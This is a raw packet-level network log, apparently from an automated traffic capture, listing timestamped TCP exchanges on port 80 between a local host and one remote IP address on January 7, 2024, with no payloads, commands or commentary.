Jan 7, 2024 05:29:21.848299026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.848401070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848454952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848500967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.848558903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848632097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848673105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.848684072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848747015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848790884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.848815918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848871946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.848936081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.848995924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849072933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849121094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849159956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849195957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849241018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849322081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849322081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849359989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849400043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849448919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849517107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849596977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849642038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849649906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849780083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849864960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.849910021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.849950075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850002050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850050926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850074053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850115061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850146055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850213051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850301981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850343943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850419044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850457907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850500107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850538969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850579023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850616932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850644112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850682974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850708008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850769997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850811958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850850105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850887060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.850931883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.850989103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851030111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851284027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851322889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851376057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851422071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851433039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851495981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851560116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851572990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851599932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851622105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851653099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851679087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851716042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851752043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851800919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851840973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851882935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851892948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.851933002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.851962090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.852027893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.852041006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.852077007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:21.852093935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:21.852132082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.033771038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.033921957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.034039974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.034063101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.034353018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.034861088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.034909010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.034996033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035039902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.035135984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035283089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035439014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035485029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.035646915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035689116 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.035803080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035816908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035975933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.035990000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036012888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036046982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036118984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036271095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036283970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036315918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036343098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036447048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036607981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036621094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036649942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036669016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036787987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036835909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.036876917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.036989927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037029982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037055016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037095070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037244081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037257910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037282944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037295103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037434101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037447929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037496090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037597895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037638903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037796974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037811995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.037837029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037851095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.037976980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038162947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038176060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038199902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038218975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038346052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038360119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038404942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038508892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038561106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038677931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038695097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038719893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038734913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.038913012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038925886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.038965940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039060116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039097071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039256096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039268017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039288998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039307117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039436102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039608002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039625883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039640903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039670944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039802074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039820910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.039843082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039856911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.039988041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040007114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040023088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040045977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040183067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040195942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040221930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040241003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040358067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040370941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040426970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040626049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040647984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040683031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040699959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040793896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040807962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040827036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040844917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040869951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.040981054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.040993929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041023970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041038036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041213989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041228056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041266918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041392088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041405916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041445971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041598082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041639090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041757107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041770935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.041795015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041821003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.041953087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042124033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042143106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042155981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042162895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042190075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042212009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042438984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042479038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042637110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042649984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042675972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042690992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.042809963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042980909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.042994022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043016911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043054104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043164015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043179035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043217897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043318987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043370962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043394089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043407917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043442011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043452978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043592930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043606997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043646097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043756962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043776035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043796062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043822050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.043948889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.043988943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044100046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044154882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044166088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044168949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044193983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044209957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044353008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044368029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044384956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044408083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044449091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044543982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044564962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044611931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044701099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044739962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044884920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044898987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.044925928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.044950008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045068979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045087099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045099974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045136929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045161963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045241117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045370102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045572996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045613050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045718908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045758963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045777082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045797110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045809031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045835972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.045979023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.045993090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046020985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046031952 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046175003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046190023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046236992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046329975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046344042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046367884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046392918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046489954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046503067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046521902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046535969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046546936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046547890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046561003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046570063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046574116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046586990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046587944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046600103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046612978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046622038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046624899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046638966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046648026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046650887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046664000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046664953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046678066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046690941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046709061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046709061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046729088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046741009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046741009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046752930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046766996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046796083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046809912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046900034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.046941996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.046972036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047012091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047063112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047101021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047147989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047189951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047247887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047296047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047416925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047458887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047513008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047554016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047584057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047621012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047665119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047710896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047764063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047804117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.047858000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.047899961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048003912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048042059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048126936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048170090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048235893 CET	80	49735	91.215.85.120	192.168.2.4
